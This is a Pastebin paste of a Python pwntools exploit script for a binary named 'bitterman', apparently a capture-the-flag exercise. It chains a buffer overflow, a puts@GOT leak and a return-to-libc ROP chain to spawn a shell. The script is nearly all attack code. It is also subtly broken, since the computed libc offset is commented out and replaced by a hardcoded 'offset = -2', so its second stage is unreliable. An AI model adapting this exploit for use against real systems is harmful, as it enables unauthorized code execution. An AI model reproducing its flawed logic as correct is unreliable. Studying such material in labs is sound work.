contra

Untitled

Oct 1st, 2019
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.27 KB | None | 0 0
  1. from pwn import *
  2.  
  3. #creates a new window with tmux term
  4. context(terminal=['tmux', 'new-window'])
  5. p = process('./bitterman')
  6. #p = gdb.debug('./bitterman', 'b main') #launch gdb with bitterman already
  7.  
  8. context(os="linux", arch="amd64") #tell pwnlib what we are working with
  9. #context.log_level = 'DEBUG'
  10.  
  11. #Stage 1
  12. plt_main = p64(0x4006ec) #main function address
  13. #400520:    ff 25 2a 07 20 00       jmpq   *0x20072a(%rip)        # 600c50 <puts@GLIBC_2.2.5>
  14. plt_put = p64(0x400520) #proc linkage table put
  15. got_put = p64(0x600c50) #global offset table put
  16.  
  17. #now we need a pop rdi address / we cant put arg in stack, need to put in register
  18. #0x00400853 pops what's in the stack to rdi, and then returns
  19. pop_rdi = p64(0x400853)
  20. junk = "A"*152
  21.  
  22. #> What's your name?
  23. #ippsec
  24. #Hi, ippsec
  25. #
  26. #> Please input the length of your message:
  27. #1024
  28. #> Please enter your text:
  29. #test
  30. #> Thanks!
  31. #ret = p64(0x400509)
  32.  
  33. payload = junk + pop_rdi + got_put + plt_put + plt_main
  34.  
  35. p.recvuntil("name?") #use pwnlib to read stdout and tell it when to pass text/vars
  36. p.sendline("ippsec")
  37. p.recvuntil("message:")
  38. p.sendline("1024")
  39. p.recvuntil("text:")
  40. p.sendline(payload) #confirm it restarts the program and calls main func!
  41. p.recvuntil("Thanks!")
  42. leaked_puts = p.recv()[:8].strip().ljust(8, "\x00") #when over, program will print address to screen, this address is the address of puts in libc
  43. #leaked_puts = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,"\x00")
  44.                             #we must grab this address
  45. log.success("Leaked puts@GLIBC: " + str(leaked_puts)) #print leaked puts location
  46. leaked_puts = u64(leaked_puts) #unpack leaked_puts now that we have it
  47.  
  48. #Stage 2
  49. pop_rdi = p64(0x400853)
  50. libc_put = 0x6c380 #found using readelf -s libc.so.6 | grep puts
  51. libc_sys = 0x426e0 #found using readelf -s libc.so.6 | grep system
  52. libc_sh = 0x17ff68 #strings -a -t x libc.so.6 | grep /bin/sh
  53.  
  54. #offset = leaked_puts - libc_put #tells us how far away our libc_put is from leaked_puts to gather offset
  55. offset = -2
  56. sys = p64(offset + libc_sys)
  57. sh = p64(offset + libc_sh)
  58.  
  59. payload = junk + pop_rdi + sh + sys
  60.  
  61. p.sendline("ippsec")
  62. p.recvuntil("message:")
  63. p.sendline("1024")
  64. p.recvuntil("text:")
  65. p.sendline(payload)
  66. p.recvuntil("Thanks!")
  67.  
  68.  
  69. #raw_input() #pause program till we hit enter
  70. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment